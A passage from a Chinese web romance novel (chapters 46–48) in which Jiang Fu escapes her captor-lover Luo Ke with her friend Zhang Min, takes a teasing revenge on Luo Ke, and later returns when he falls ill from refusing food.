没什么可辩解的,我就是龌龊虚伪的人,对你做尽了坏事。” 他还要再说什么,侍卫又来叫:“公子,公女带过来了。” 蒋芙自觉地回了里间,将纱帐都放下来遮挡藏匿。 她面上热热的,既羞愧又耻辱。 从意识到自己无处可去,被他堵死了活路以后,她就不知不觉和他变成了偷。情的关系。 过去她瞧不起沈听南,觉得她为了那点地位在权贵面前自我折辱很低贱。 如今相比,沈听南写明野心的面孔熠熠闪光,她自己则坠入禽兽不如的深渊。 她不想被骆沁看见自己这一面。 就算骆岢不说,她也要回避的。 纱帐之外,骆沁进来和骆岢说话。 “哥哥,你身体好些了吗?怎么脸还这么红啊,嘴唇也肿肿的。” 骆岢不甚自然轻咳,里面的蒋芙也用被子盖住自己的头。 “你来找我,是什么事?” 骆沁长长叹了口气:“我之前和芙姐约好,她到光州给我来信。这两日便是约定的时间,我等了许久都不曾收到,担心了一夜。哥哥,你说芙姐不会出什么事吧?” 骆岢神情不变:“你若惦念,就派人去找。” 骆沁沉思道:“那我让赵统领去……可以吗?” “可以,让他多带些人。你关心,就再附一封书信过去,蒋娘子若是有事耽搁把你忘了,看见信便可直接回复,省去了中间周转的时间。” 骆沁有些不满:“芙姐才不会忘了我呢,她忘了哥哥都不会忘了我。” “……” 大约如此。若他没有阻止蒋芙离开,估计和骆沁说得一样,她把他给忘了,忘得一干二净。 骆岢心里忽然有些不是滋味,再开口,就带了几分气:“那又如何,时间一久,她也不会记得沁儿。她就是那样无情的人……” 屋里传来踹书案的声音,“呜嗞——” 骆沁吓了一跳,往遮了帐子的里间望。 “屋里有人吗?哥哥?” 骆岢勉强维持微笑:“是我养的小猫,才养在身边,有些淘气。” 骆沁眼神怀疑:“你不是不喜欢会掉毛的小兽?我之前想养狸奴,你就撺掇着爹爹不让。” 骆岢道:“人的喜好是会变的。” 就像他过去从未想过喜欢蒋芙这般的女子。但遇见后,不是也爱上了? 他正欲开口赶骆沁离开,侍卫又来送信。 “公子,沈娘子递了拜帖,来见公女与公子。” 骆岢趁机道:“既然有客人,便去看顾吧。” 骆沁道:“听南姐不是也说拜会哥哥了?万一是有事相商?她是芙姐的朋友。” 她指使道:“去把听南姐带过来。” 侍卫觑骆岢的脸色,原地迟疑。 骆沁催促:“快去呀,不要让客人等着!” 骆岢轻微点头,侍卫便立刻执行。 沈听南被人请来,路上分辨出这院落的门道。地上的青苔有被挪动的痕迹,看位置,此处原本应被假山遮掩,动了什么机关,变成曲径通幽的石板路。 她被侍女引进屋,微微曲身,与这对兄妹见礼。 “沁儿,芙芙可有给你发过什么信?” 骆沁见沈听南与自己担忧的是一件事,顿生亲近之感:“没有,听南姐,我刚用了哥哥的人去找。” 沈听南余光瞥骆岢的神情,道:“我已求公主派人去光州的路上找过,回来的卫兵都说没查到芙芙的踪迹。她是不是……” 她假惺惺掉了眼泪,用帕子擦拭。 骆沁被她拐得真哭出来。“芙姐不会有事了吧?她会不会……” 她在屋子里来回踱步,打定什么主意一般:“不行!我要去找她!” 骆岢连忙叫住妹妹,训斥道:“沁儿,不要添乱!你去有什么用?不是已经派了人吗?” 骆沁被哥哥板起脸教训,一时老实下来,坐到椅子上抹眼泪。沈听南站她身边陪着,目光投向流光珠纱制成的帘帐,差不多猜全了。 她将泪珠擦干净,故作疑惑:“公子,天还亮着,怎么就落帐了?” 骆岢抚了抚衣袖,眉眼流露着被冒犯的不悦。 沈听南道歉:“……是我不好,问了多余的事。本想玩笑一句里面是不是藏了人,实在是脑子愚钝,冒犯了公子的品格。” 骆沁拉她手:“听南姐,你别跟我哥一样的,他心眼小,开不起玩笑。” 沈听南苦涩摇头:“怎敢与公子置气,不然公子院里那十八个美人怕是要冲上来扯我头发了。” 骆沁震惊看了哥哥一眼,却见他神色比自己还惊慌。 “我哥哥什么时候有的十八个美人?” 沈听南道:“沁儿不知?陛下与公子总角之义,收了燕北王送的倾城佳人,公子在长安,自要与之分享。” 骆岢与骆沁一对兄妹的脸色都难看了起来。 骆沁嘴角一勾,竟露出蒋芙有过的嘲讽表情:“十八个美人呢,陛下与我哥哥共享,真是风流韵事。” 骆岢声音高了些:“沈娘子莫要信口雌黄,毁人清誉!我不曾收过那些!” 他心中提防纱帐那头,却没听见什么响声。 里面安静如常,无需用借口遮掩,他心里反而难受起来。 沈听南说他有十八个美人,她都不在意吗? 她怎么能不在意…… 沈听南柔美的声音还在继续:“公子为何一直看着那间屋子呢?” 骆岢回了回神,神情郁郁:“不过是惦念里面的猫。” 沈听南道:“公子过去不是不喜长毛小兽?” 不等回答,她浅笑:“年岁一长,人的确容易转性,想来公子也变了。先前在洛城时,总听小娘子说起公子,说公子一贯厌恶阴晴不定的狸奴,说狸奴养不熟,还易掉毛,将家里捣得一塌糊涂,心疼不起来,骂也骂不得,哪有人和小兽对骂的呢?我听过以后,深觉有理,家中原本养得好好的狸奴,也跟着公子的风赶走了。时过境迁,今日公子倒是养起了猫。” 骆岢:“……” 他听着不对劲,但又说不准哪里不对,总觉得她没说什么好话。 沈听南最后看了那纱帐一眼,牵着骆沁的手起身:“不搅扰公子了,听闻公子尚在病中,没带礼品上门本是我失礼,盼公子莫要怪罪。我有些体己话想和沁儿说,想与她先回房,就此告辞?” 骆岢颔首:“娘子自便。” 他叮嘱骆沁:“招待好客人,莫要失礼。” 骆沁还陷于蒋芙杳无音信的噩耗里,无精打采对哥哥笑笑,被沈听南牵走。 人走后,骆岢穿过纱帐,见蒋芙毫无防备躺倒在床榻上,领口松垮,里面的小衣露出边缘。 他将她踢翻的书案复位。 “你不问问我?” 蒋芙懒得理他。 被抓了脚在掌心抚按,她才被痒得妥协。 “问什么?” 骆岢低头啄吻她玉白的脚背:“十八个美人,你就一点都不吃味吗?” 蒋芙很难因骆岢而吃味。先不说她喜不喜欢,就看他这副样子,都令她对他在外面的作风十分放心。 “变态。你不洗嘴,就别再亲我。” 骆岢被她逗笑,美貌的人微一展颜,便是华容天姿。 她将脚硬抽了回来,脑子里回想沈听南的话。 什么猫啊狗的。 她铁定想到了自己被骆岢关着的事。 说什么之前听闻骆岢不喜欢猫,就把家里养的猫给赶走了。 沈听南家何时养过猫,这是在说她呢。 说当时是受骆岢的影响,遵从着“风华之人定要洁身自好”的意志,才在背后嫌弃她、和她撇清关系的。 沈听南就是沈听南,就算袖手旁观,也要往骆岢身上泼一桶脏水。 实际上,骆岢当年主张如何,关蒋芙什么事呢? 瞧不起她、把她判定为“上不得台面的人”是沈听南,抛弃她的也是沈听南。 她就算脑子再不好用,也不至于因为她的几句话跟骆岢生气。虽然沈听南在她心里有点分量,但并不算那么重要。 蒋芙也不会再随便相信她,给她伤害自己的机会。 从思绪中抽神出来,见骆岢颇为沉寂坐在床边。 她想起他似乎要解释他那“十八个美人”的事。 “北方佳人?” “……” 骆岢将她从床上捞在怀里,有些委屈:“你在哄我?你终于肯哄我了?” “芙芙为何不在意呢?换做是我,听闻你有十八个美人,可能会气疯了。” 所以说,就是他动不动这副样子,她才不用在意啊! 名动天下的公子岢,在她面前跟个受气包似的,说出去都没人敢信。 ……她真的被勾搭昏头了,竟然会觉得他像受气包。 他怎么就像受气包了,他想要的哪件事没办成?张闵不是说杀就杀了吗? “蛇蝎心肠,口蜜腹剑,变态,双面人!” 他垂头要堵她嘴,被蒋芙给了一巴掌。 “变态!给我洗嘴去!亲亲亲!嘴巴要被你啃烂了!” 又过去十多日,蒋芙快要适应了这样的日子。 每天睡醒,被骆岢伺候着洗脸漱口。 一日三餐端来,每道菜都是她喜欢的口味,偶尔有菜踩雷,她只要皱皱眉,就再不会在饭桌上见到。 闲来无事可以把骆岢臭骂一顿。他还不来嘴,一旦还嘴,蒋芙就更来劲,骂得更难听,把人骂掉了眼泪才罢休。 然后是接吻、接吻、接吻。 越来越熟练地亲密相处,有几次快要失控到最后一步,被骆岢强忍住了。 蒋芙克制私欲,不看不理。但午夜梦回,常梦见未尽之事,醒来以后为自己的私欲感到羞耻。 她的骨气已经快被磨净了。 骆岢亦觉察她的安分,渐渐放心留她一人在家,每日腾出一两个时辰外出办事。 他的友人、父亲的友人、家中的亲戚,来长安 一趟,处处需要维系。 信中传达父亲的极度愤怒,气他与妹妹不打一声招呼出走,催他们尽快回洛城,并对妹妹与天子的事极其忌讳,令他看好妹妹,不许再与天子有任何交集。 这一次,他便是待崔氏兵败,进宫向魏琪告辞。 蒋芙一人在家,眼神空洞洞望着窗外。 窗外已看不见树叶,光秃秃的枝干层层叠叠,有的空隙看起来像兔子,有的空隙看起来像云彩。 她这样望着,就见一张只出现在梦里的脸。他肤色深了几分,脸上还刮了一道结痂的伤。 张闵身姿轻盈跳进室内,朝她伸手:“我带你走。” 蒋芙掐了自己一把,疼的。可是梦里掐自己也疼,她该怎么分辨梦与现实? 已被冷风磨砺坚毅的少年轮廓被泪水模糊。 “芙芙?” 蒋芙扑到他身上,压抑哭出声:“你没死?你真没死?我以为你死了!你知道我这些天怎么过的吗?” 张闵道:“你看起来过得很好。” 蒋芙噎了一下:“我虽然胖了,虽然嫩了,虽然被打扮一身名贵的衣裳和首饰,但我心里多难受,你知道吗?我以为你死了,我每天和杀了你的仇人朝夕相处!” 还亲嘴、拥抱、同衾而眠。 她没脸说。 “你怎么受伤了?是骆岢打的吗?” 张闵擦她眼泪:“不是,我被师父捆去打仗了。” 蒋芙还哭着,连日沉重的愁绪如云散般消失殆尽。 她想,骆岢真是好样的,宁愿被她当作杀人凶手,都不想告诉她张闵还活着的事。 就对自己那么没自信吗? 怪不得她每次骂他是杀人犯,他都委屈得不行。没杀为什么不说? “走吗?” 蒋芙擦干眼泪:“我先不走。” 她眯了眯眼:“他敢这么对我!药我,囚禁我,挑衅我!这是跟我犯贱!我要让他付出代价!” 第46章 第 46 章 特别惩罚。 “要走?” 魏琪正吃饭, 骆岢来了,赐他碗筷同席。 饭间听他辞别之言,魏琪瞥他一眼。 “先别走,我有些打算, 你现在走我怕把你也算计进去。” 骆岢微愣一下, 想问, 又知不便开口, 自觉并无亏心事, 不必顾忌。 “家父惦念幼女,已连递几封信催。臣感念陛下恩德, 日后万死而不辞。” 魏琪不松口,转头道:“白明旭大胜凯旋,仅一个洛城将军的头衔是不是屈才了?我欲将他祖父爵位封赏给他,叫他做大齐最年轻的万户侯。你以为如何?” 骆岢恭敬道:“陛下赏罚严明,礼贤下士,乃我朝明君。” “说到赏罚严明,还要多赏赐一人才配得上公子岢称颂。” 魏琪笑看他:“便是蒋娘子那青梅竹马的护卫,是上将尤茂的徒弟,张闵。这回跟着他师父立了不少功, 不如封在他师父手下做个中郎将?” 骆岢持筷的手攥得紧些:“陛下……圣明。” 一直到吃完午饭, 他都没再提回洛城的事。 魏琪要与臣子商讨后续事宜, 骆岢于是避让离宫,宫门口遇见来接女儿的舅母, 拉着他哭了许久,说尽感恩戴德的话,他心不在焉应和着。 回到府邸,看着地上倒了一片的侍卫, 他的心沉入谷底。 天气晴朗,菱窗吹进今年第一缕冬风。 他推开门,蒋芙正坐在外间的椅子上看书。 门敞开的光亮落在她身上,浮光缎袄映出金灿灿的波纹,耳坠上的翡翠透出鲜亮的绿意。听到声响抬头,她的眼眸亦被光照成了浅褐色。 骆岢怀着一种失而复得的欣喜,红了眼眶要去抱她,颈前忽有一把剑横过,冰凉的剑刃贴上他的皮肤,过于锐利,顷刻便受了刺痛。 他近乎绝望地看向身侧的张闵,而后转向蒋芙。 秋后算账,如此应景。 蒋芙迎着他的目光,将书往桌面上一拍。 “公子扯谎骗我,没想过会有这么一天吗?” 骆岢被她讥讽的神情伤到,闭眼侧头:“虽死不悔。” 张闵用剑逼近:“他想死,要杀了吗?” 蒋芙忙骂:“说的什么屁话!这时候还装!你就不会道歉吗?” 骆岢分辨出她话中的急切,有些愣怔:“……对不住。” 蒋芙将张闵的剑推开,仰头查看他的伤势,放轻力道用手帕擦血。 张闵把剑伸到她面前,她意会着把剑身的血迹也擦拭干净。 他收剑:“走吗?” 骆岢怨念极深注视他,像是恨他怎么不死在外面。 蒋芙道:“你去你师父那住一晚,明天早上我们再走。” “为什么?” “我有账要算。” “我不能在?” “你回避吧。” 张闵的心口又痛了起来,这次比以往还要剧烈,他感知到愤怒的情绪。 蒋芙见他不说话,往门外推他:“明天来府门口接我,这次一定一定要来,不要再被你师父捉走了!” 张闵应声,用饱含杀意的目光盯了骆岢一眼,低头时,神情松缓几分。 “你要来,明日,我有话对你说。” 蒋芙轻快点头:“好啊,路上咱们有的是时间聊天。我多带几本书,到时闲来无事,我就给你读。” 张闵拍了拍她的头,转身跳过围墙。 “……” 屋子里只剩他们两个。 蒋芙把门关上,连带通风的窗子也关得严严实实。 骆岢失魂落魄在原位站着,直到蒋芙收拾好一切站到他面前,他才回了神。 他将蒋芙抱住,躬身埋她颈间。 “不要走,求你。” 蒋芙抚他的背,道:“你跟我来。” 骆岢恍恍惚惚被她带进了卧房,她让他躺下,然后是金属碰撞的声音,手腕传来冰冷紧箍之感。 他猛地回神,映入眼帘的是牵连到床棂上的手铐,随后,钥匙被蒋芙晃在手里,他心爱的女孩正不怀好意地看着他。 一种不知来由的禁忌之感冲破了离别的悲痛,心跳声如鼓急促,如雷贯耳。 “芙芙……” 蒋芙转钥匙的动作停下,将钥匙攥入掌心。 “公子美貌无双,本是上好无暇的白玉,却败絮其中。你口口声声喜欢,却那么对我。作为受害者,我现在要报复你,龌龊地报复你。” 你要做什么? 本该这么说的,但骆岢迷失了配合的心思,他问:“你原来愿意吗?” 蒋芙捏他鼻子:“我才不愿意,我要折磨你。” 说完,她脱鞋上床,跨在他身上坐。 然后一层层扒他衣服,评价:“你长得可真白。” 骆岢呼吸愈发重了。 她便给他一巴掌:“老实些,不准动!” “……是。” “你现在是罪人,罪人没有愉悦的资格。” “是。” “叫大人。” “大人。” 蒋芙奖励地亲他一下,而后继续她的折磨。 “你怎么一点肌肉都没有?”她笑了声,“全是骨头。看你出门都弱不禁风的坐马车,是一点都不锻炼吗?” 指腹轻如羽毛地游走向下。 骆岢在欲,火里艰难地做一个君子,竭力克制自己不露丑态。 “你喜欢……肌肉?” 虽然用词罕见,但他大致明白意思。 “我愿……寻找…修成之法……呈给大人享用……” 蒋芙指头被染上热意,抬眼时眼眸也变得朦胧。 她急匆匆收手,骂他:“贱人,以为跟本大人示好,就能逃过一劫吗?” 蒋芙从他身上挪下去,两手并作将他扒得干净,皓雪般的衣袍乱腾腾朝上剥拢。 “我要用刑了!快喊饶命!” “……饶命、大人。” 她终究有些羞涩,扇了几巴掌,把人扇得直愣愣的,就放置不管,游走在屋子里收拾东西。 “你送我的东西我都拿走了?反正你也不用,而且我之前还请你吃饭了,就当礼尚往来,你还我的。” “这个画册我也带走,你画技不错,把我画得挺逼真。” “这笔是你亲手做给我的,我还帮着粘毛了,带走。” “公子,我看上你这个小戒指了,你送我吧?” 她回头,见骆岢默默地哭,便拿着戒指到他面前:“送不送我?” 她拉他扣在床棂上的手:“你送不送我嘛。” 骆岢面上滚泪,还要为她点头。 得到主人允准,蒋芙美滋滋戴在手上,换了几根手指都松垮垮的,一直戴到拇指才差不多吻合。 然后又坏笑着闹他一顿。 “不许扁,给我竖起来。你再扁,我就一夜不睡看着你。” 但这次似乎因为他陷入分别的离痛中,花费了好大功夫才令他达成状态。 蒋芙把手贴他鼻子上:“你闻闻,脏脏的。” 骆岢张嘴咬住,力道不重,满是离愁的眸子溢出几抹气闷,像是有意勾她。 蒋芙脸红着将手抽了出来,骂道:“不讲卫生,我本来还想亲你。” “……卫…生?大人……我没有毒……” “是说你不爱干净的意思。” 她将手上的唾液都蹭到他瓷白的肌肤上,不慌不忙地趴在床头看他。 “想要大人我吗?” 骆岢的眼泪又淌落几滴,委屈地发了声鼻音。 出走在即,她心情极好赏他一个吻。 “爱我吗?” “……爱。” “我也有点爱你。可是,你做了坏事,我不可能留在你身边。” 蒋芙抹掉他的眼泪,抹掉一行,泪又成倍落下。 “又哭,屋子快被你哭倒了。” 她恶意地笑:“难受吧?我故意的。如果不告诉你我也爱你,你就不会这么难受,你只会想,当时真的杀了张闵就好了,这样我没了撑腰的人,就能一辈子被你圈养。” “所以我得告诉你,我爱你。你得不到我,得不到你想要的两情相悦,全是你自讨苦吃,心术不正,自作孽不可活。” “敢给我下药,你怎么敢给我下药?” 蒋芙说着,亲他侧脸。 “我要是吃坏了身体怎么办?你都没考虑过。你舍得往我身上下药,想要我,全是为你自己,你这个自私的人,陶醉在你自以为是的情深里,根本不顾我的死活。” “我没有……我问过医者的,仅用一次,只要仔细调理,不会对身体有损伤……唔……” 蒋芙又扇了他一下:“本大人让你陈情了吗?” 骆岢急促喘息着,顾不上说话,眼中欲念复燃,快要把人吞没。 “就算你有一百个理由,我也不会选你。你这种人,谈谈恋爱还行,取回来放在家里,家宅不宁!我要天天处理你的爱慕者吗?” 蒋芙畅想未来:“我以后要找一个和我般配的,相貌清秀即可,最好闷一点,老实一点,力气再大一点,能保护我。” 骆岢抽泣出声:“不要……我不行吗……芙芙……” “给我竖着!” “…………” 收拾好行李,蒋芙便绕着床榻折腾他,折辱他。 中间去领了晚饭和宵夜回来,她试着喂了一下,人家怄气不吃,像是哭饱了,她便也不强求。 这一夜她照样睡在他旁边。 第二日清晨,吃过早饭,她将骆岢手铐解开。 他目光呆滞,失去神采,又袒露着身体,像是美丽而迷乱的瓷偶。 直到蒋芙背包出门,他都没有说一个字。 快走出院子,她回头,见骆岢松垮撑着外衣,面容苍白扶门框,眼神极伤地望她。 蒋芙微微一笑,毫不留恋离开。 张闵如约在府门口等她,她浑身轻松奔到他身前:“走走走!” “你跟你师父告别了吗?” “告了。” “他没留你?” “留了。” “不许听他的,跟我走!知道吗?” “知道。” 蒋芙心满意足,步履轻盈:“我们先去东市买一辆马车……” …… 一个月后,蒋芙到了光州。 她先去拜见了袁氏的兄长,也就是她的舅舅。 舅舅对她以及她背后的蒋家十分不喜,但问过情况,得知妹妹死在半年前,又当场悲痛恸哭。 “我原本就不同意她嫁的!那废物哪好!装出一副老实的样子,实际上比谁都自私心狠!她不信!她不信啊——” 舅母陪着他哭,倒是有额外的善心关切蒋芙的状况。 “你如今孤身一人,以后便在你舅舅身边,莫要再离去了。” 蒋芙推辞:“我并非投靠,这次就是把我娘送回来,之后我还会走。” 她让了几步,将张闵往前推:“我要和他往南去看瀑布呢。” 舅舅哭声渐渐止住,审视的眼光上下打量张闵一眼,从剑上看出身手,稍微满意。 “你们年轻,有时间多往出走走也是好的。以后若是累了,想回家了,就到舅舅这来。” “谢谢舅舅。” 舅母道:“一家人,客气什么。可有什么喜欢吃的菜?我让你表姐给你做。” 蒋芙便在光州留了一段日子。 将母亲的骨灰葬入袁氏坟茔,她跪地深深磕了一个头。 “娘,芙芙替你争了这口气,该报的仇都报了。你泉下有灵,遇见那几个贱人,可千万别让他们好过。” “女儿以后,会过好日子的。” 光州不比长安,没什么卖东西的地方,逛来逛去就那么几家。 但这是自由,她能凭意愿来去的自由。 没有人能约束她,没有人能看低她。 她眼中的景色是整个天下。 这日,蒋芙和张闵商量以后出行的计划。 她有想看的花,有想看的山水。 车马慢,也许将一生消遣在旅途上,也许一时兴起,在什么地方安家。 一只鹰飞过围墙,落在张闵肩膀上。 蒋芙笑道:“你还挺讨小动物喜欢。” 张闵欲言又止。 这人,从回到她身边那天起就像有什么话说,原本预备出发那天告诉她,她等了,一直没等到他开口。 鹰腿上绑了信。 张闵拆信时,那鹰就歪着头看。 蒋芙认出这猛禽,似乎是郡公府专门训练送递情报的。 她问:“是骆岢给我写信吗?它怎么找来这的呢?” 张闵道:“旧物的气味。这是沈听南的信。” 沈听南? 蒋芙有点奇怪。她才给她和骆沁寄信过,怎么又来了个鹰送信? 她拿过纸条。 沈听南写,骆岢已经绝食多日,问她要不要回去看看。 蒋芙感到纳闷,回复:【跟我有什么关系?我又不是他的牙。】 信送走以后,过了三天,又来一封。 这次鹰抓的是她的肩膀,很有分量的鹰,呼哧呼哧喘气,压得她差点没站住。 寄信人换成骆沁,蒋芙在信纸上看到泪痕。 她求她回去看哥哥,哥哥很不好。 【若芙姐不喜哥哥,便看在沁儿的面子,看在芙姐与我往日的情分上回来见一面。他是沁儿的哥哥,沁儿的至亲。 恳请芙姐,叩首,再叩首。】 蒋芙:“……” ……没出息。 第47章 第 47 章 梦寐以求。 将信看完, 蒋芙说不上什么滋味。 她有点想笑。 怎么就到这种程度了?不至于吧,简单来说不就是失恋吗? 还是说她临走前做的那些伤了他的自尊?那他关她在房间里半个多月,他就不想想有没有伤到她的自尊心吗? 都是他的报应。 为情情爱爱不顾身体,他究竟是真心, 还是装给别人看? 骆岢明不明白, 她不喜欢这样有负担、禁锢她的感情。他越这样, 她越想离开, 离得远远的, 彻底摆脱了他才好。 可是,她没想让他死。 沁儿也已经那么求她了。 蒋芙展开信纸, 从头到尾重读了遍,无力叹气。 张闵问:“要回吗?” 蒋芙朝窗台的胖鹰抬了抬下巴,“我先写封信给沁儿。” 她挪步到书案边,倒水磨墨,提笔时停顿。 “你若有话,最好现在对我说。” 张闵的声音响在斜上方。 “我是有话。” “说吧,我等你很久了。” 蒋芙将笔搁下,抱臂等他开口。他也不回避视线,双瞳笔直盯她。 “军营时, 白明旭问我与你的事。他说我不告而别, 回去你定然发作, 让我把过去的事都跟他说一遍,他帮我想办法。” 蒋芙冷呵一声:“套话的贱人。” “然后呢?你说了?” “说了, 因为他帮我想办法。” “哼,我有那么可怕吗?你这次回来我跟你发脾气了吗?你为什么用别人想办法对付我?” 她嘴上硬气,实际还是有几分心虚的。如果没有骆岢发这顿疯,她被张闵晾着, 满长安找不到人,他确实完了。 “……白明旭怎么说?” “他说,我会心痛,是喜欢你。” 张闵十分冷静,道出了多年以来,蒋芙一直想听到的话。 可她却没有如愿的畅快。 梦寐以求的夙愿,在达成的那一刻才意识到改变。 “你信了?” 张闵道:“我不懂。于是白明旭带我夜潜崔营,让我看男女交,欢。” “……” “你继续说!” “他问我看了什么感觉,我说,恶心。” “他问,如果是你与我做那些事,我还会恶心吗?如果不会,就是喜欢。” 张闵视线淡淡移开:“我不会,所以喜欢。你之前问我,有没有喜欢你,我回答,喜欢。” 蒋芙波澜不惊:“可是我现在不喜欢你,你开悟晚了。” 相比于这个答案,她更想知道他们夜潜后续:“你们就一直趴在人营帐外看?要不要脸?” 张闵叹了口气:“没,我们杀了那些人,妇女给银两放走了。白明旭很有钱,一个人头给一两。” 蒋芙脸色稍微好看一些:“还算做了点人事。” 她默了一下,“你说完了?” “嗯。” “那我来说。” 蒋芙仰头望他:“谢谢你喜欢我,张闵。” “我从三年前你回家的时候就喜欢你了。可我性子急,中间又发生了很多事,我没有慢慢等你,抱歉。” “但你也可以从这件事感觉到,我的喜欢没有那么值钱,对不对?我的感情随时都可以变的。反而是你的喜欢,那么干净纯粹,给我这样的人就浪费了。” 她拾起那封信,像是从这个媒介,握起另一人的手。 “我从你回来时就猜到你要说什么了,我想有新的开始,我有在慢慢等你。可是有更火烧眉毛的人出现了,他如果把我忘了,我也会忘了他的。这一个月,我就很少想起他。” “但你也看到了,他不忘。一哭二闹,以死相逼,又有那么点矜持,不亲自找我。” 蒋芙道:“我厌弃这种不值钱的手段,可内心深处,我做出了选择。” “他很听话,我想去的地方,他也能陪我去。我想要的自由,如果教训他一下,他也未必不肯给我。” “你懂我在说什么吗?” 张闵垂眸:“你在拒绝我。” 蒋芙深吸一口气,对他笑:“然后呢?你要离开我,回到你师父身边吗?” “不会。”张闵迟疑了下,“你想我离开?” “我没有!我不想你离开!就算不喜欢你,你也是我重要的人,不然你拒绝我那天我就赶你走了!” 蒋芙眼中泛泪,破功强忍:“可这样的话,我不是太自私了吗?” 张闵问:“可以抱你吗?” 蒋芙没有犹豫就点头。 她先伸手抱住他:“你走的那些天,我就一直在想,你死了,我怎么你娘和我娘交代!阿衿姐他们当初被蒋文行赶走,根本没有来舅舅这,都被截杀在半路了。家里原来那么多人,就剩你和我还活着。我不想再和你分开,可是我真的喜欢上他了……” “别哭,你可以不喜欢我。我永远不会走。” 张闵揽住她的腰,收紧:“为何总疑心我要走,即便你赶我,我也会在暗处跟着你。” “……” 蒋芙从他怀里抬头,眼泪还没落完,黑润的眸子震颤看他。 “那日我和骆岢……你在暗处?” 张闵用手蒙她眼:“听见了。” 蒋芙怪叫一声,忙撒开他:“我不是变态!我!我是……啊!!” 怪不得表白延期。 怪不得他时不时好奇看她。 “……” 他不会在害怕她吧?! “我很正常的!我真的没什么特殊爱好!我……那是因为他做错事了!” 张闵颔首,面容平静:“以后若有此事,可知会我离远些。” 蒋芙:“……” “你现在就离远些吧!!” 张闵被推出了房间,房门在身后关上,惊飞了过冬的麻雀。 他在原地站了片刻,往侧旁的地方走去,靠墙蹲下,捂住满怀的悲戚。 他回想起白明旭的声音。 “师弟,咱们要是小时候认识就好了,我肯定教你开窍。你现在才想着喜欢蒋芙,太晚了。她从金无尽那出来的时候,看我们公子的眼神就变了。想也知道,翩翩君子朝夕相处,指不定什么时候被迷了眼。” “不过你放心,你在她心里地位一准比骆岢高。你别浮躁,且慢慢熬,熬到最后,说不定谁抱得美人归。” 张闵从不焦躁,他可以熬。 哪怕这样熬一生也无所谓,反正已经决定一辈子在她身边—— 拜别舅舅,蒋芙坐上马车。 鹰又来送口信,“咚咚”啄车厢。 蒋芙喂了它点腊肉,拆信看。信中骆沁软乎乎地感谢她一顿,然后说哥哥不信她回来,能不能用鹰送个什么信物。 蒋芙翻翻背包,将从他那赖的戒指找出来,并着他许久之前送的玉簪穿到一起,让胖鹰用爪子抓住。 回信:【不用谢】 路程中间下雪,耽误几天,到长安时已经没两天过年了。 蒋芙掀开车帘看,外面景致已与初到时大为不同。街上鲜少有人,不知是不是雪中的缘故。 马车行到骆府,府门紧闭,张闵敲了几下才打开。 小厮认识他们,看到人眼泪都出来了。 “娘子可算到了!我这就去报公女一声!蒋娘子回来了!” 他哭着跑,听到动静,更多的人围了上来,都抹眼泪。 “蒋娘子,你可算回来了!” 她在这些人里还看见了小赵和小李——她在郡公府做伴读时的侍女。 “娘子!” 她们跑到蒋芙身边,不停流泪:“这些天听说娘子回来,公子的情况可算好些了,先前连宫中的太医都说不好……” “娘子,以后不要走了。我们公子没有你真的活不下去啊……” 蒋芙:“……” 待走近,星星也迎了过来:“蒋娘子!公女在里面!公子很不好,听说你回来,不肯见,你说话一定和气些呀!” 蒋芙脸色彻底沉下去。 不肯见? 给他脸了。 进了门,香香软软的骆沁扑到她怀里紧紧抱住。 “芙姐……” 蒋芙回抱她:“没事了,沁儿,去看看你哥。” 骆沁忍泪带她进房间,越过重重帷帐,药的苦味扑面而至。 蒋芙看到了床榻之上的人。 他紧闭双眼,瘦骨嶙峋,憔悴到换了个人,像是真的不好了。 她问骆沁:“你哥哥喝药了吗?” 骆沁抽泣道:“起先看见芙姐的信物,他吃了几天药。后面不知想了什么,又开始绝食,药也不喝。我没办法,只能硬灌,但那样如何能痊愈呢?” 蒋芙道:“还有药吗?端来,我喂他。” “好!”骆沁连忙应声,擦了擦泪,跑出去使唤星星拿药。 药到手里还冒着热气,蒋芙端碗坐他床边。骆沁招呼着屋里伺候的人离开,将门关上。 “公子,人都走了,还不睁眼看看我吗?” “……” “你不喜欢我了?”蒋芙假装难过 ,“也是,已经过去那么久,公子变心也是应该的。我还是不在这里讨你嫌了……” 泪从他紧闭的眼角流出。 蒋芙有些无奈:“你都不哄我了?我在难过。” 骆岢将头转向里侧:“……妹妹不懂事,无故扰了娘子清闲,还请担待。岢一生命如草芥,不配娘子做戏宽慰,娘子还是离开吧。” ……在装什么?真走了又要寻死觅活的。 她将药碗放下:“骆岢,我是为你回来的,你别敬酒不吃吃罚酒,快起来喝药!” “你再不起来,我就让张闵卸了你下巴往你嘴里倒!” 骆岢虚弱道:“娘子请便。” 蒋芙气笑了。 她将他从床上捞起,手摸到的都是骨头。 将人扶坐起来,她端着药碗犹豫一下,往嘴里放了一勺。 骆岢眉梢微动,生了血丝的眼看向她。 下一刻,她闭眼吻到他嘴上。 过于突然,药浆一滴都没有渡过去,全洒在他领口。 “好苦……” 她拿手帕擦他领口的药汁,有些发愁:“好苦啊,怪不得你不喝。公子真是一点苦头都吃不了。你何必呢,为了感情至于把自己折磨成这样吗?还是说你是因为我那天那么对你,你觉得活着没意思了才这样的?这我就得骂你了,我什么时候被人关过——” 他低头,凑到她嘴边。 直到将她口腔里最后一点药苦也卷走,他才疲倦地后退,跌入床榻。 蒋芙鼻子一酸,就着姿势扶正他的脸:“你想怎么样啊?我已经回来了,你为什么不理我?你是不想活了吗?那我罪过可大了,你要是死了,我以后再也不敢招惹别人,就像谋财害命一样,你怎么这样呢……” 她絮絮叨叨许多话,良久,听到他问:“你的泪,是为我流的吗?” “……嗯。” 骆岢伸手,轻轻用指腹将她的泪水拭去,温声道:“我乖乖喝药,不要哭了,芙芙。” 蒋芙连着点头,将药碗端起来,一勺勺喂他。 喝过药,又喂了他碗粥,搀扶着他躺好。 骆岢握着她手,贪恋地看她,无声分辨梦与现实。 蒋芙也望着他:“高岭之花。” 这么要面子。 不说为他回来,估计到现在都不肯喝药。 怎么人家就这么有骨气呢,她如果生病的话,没有药自己都会去找,病着多难受。 骆岢道:“我不是。” 还反驳? 蒋芙笑:“那你是什么?” 他将手握得紧些:“墙脚之梅,出墙之杏。你可愿……垂怜于我?” 声音打着颤。 蒋芙叹了口气,复又叹了口气。 【我若为墙脚之梅,出墙之杏,自然会动脑寻找能欣赏我,托我言志的主人家生长。】 “你怎么连这种话都记得?我自己说的,自己都不当真了。” “我生而迷钝,为世人眼光所累。听芙芙一言,若沙洲见泉,暗中见光,岂敢不记?” “……” 蒋芙将鞋脱了,钻进他的怀里点头。 骆岢停住呼吸,片刻,喉间溢出哽咽,将她紧紧抱住。 这一天,他等了太久。 第48章 第 48 章 究极护短。 傍晚, 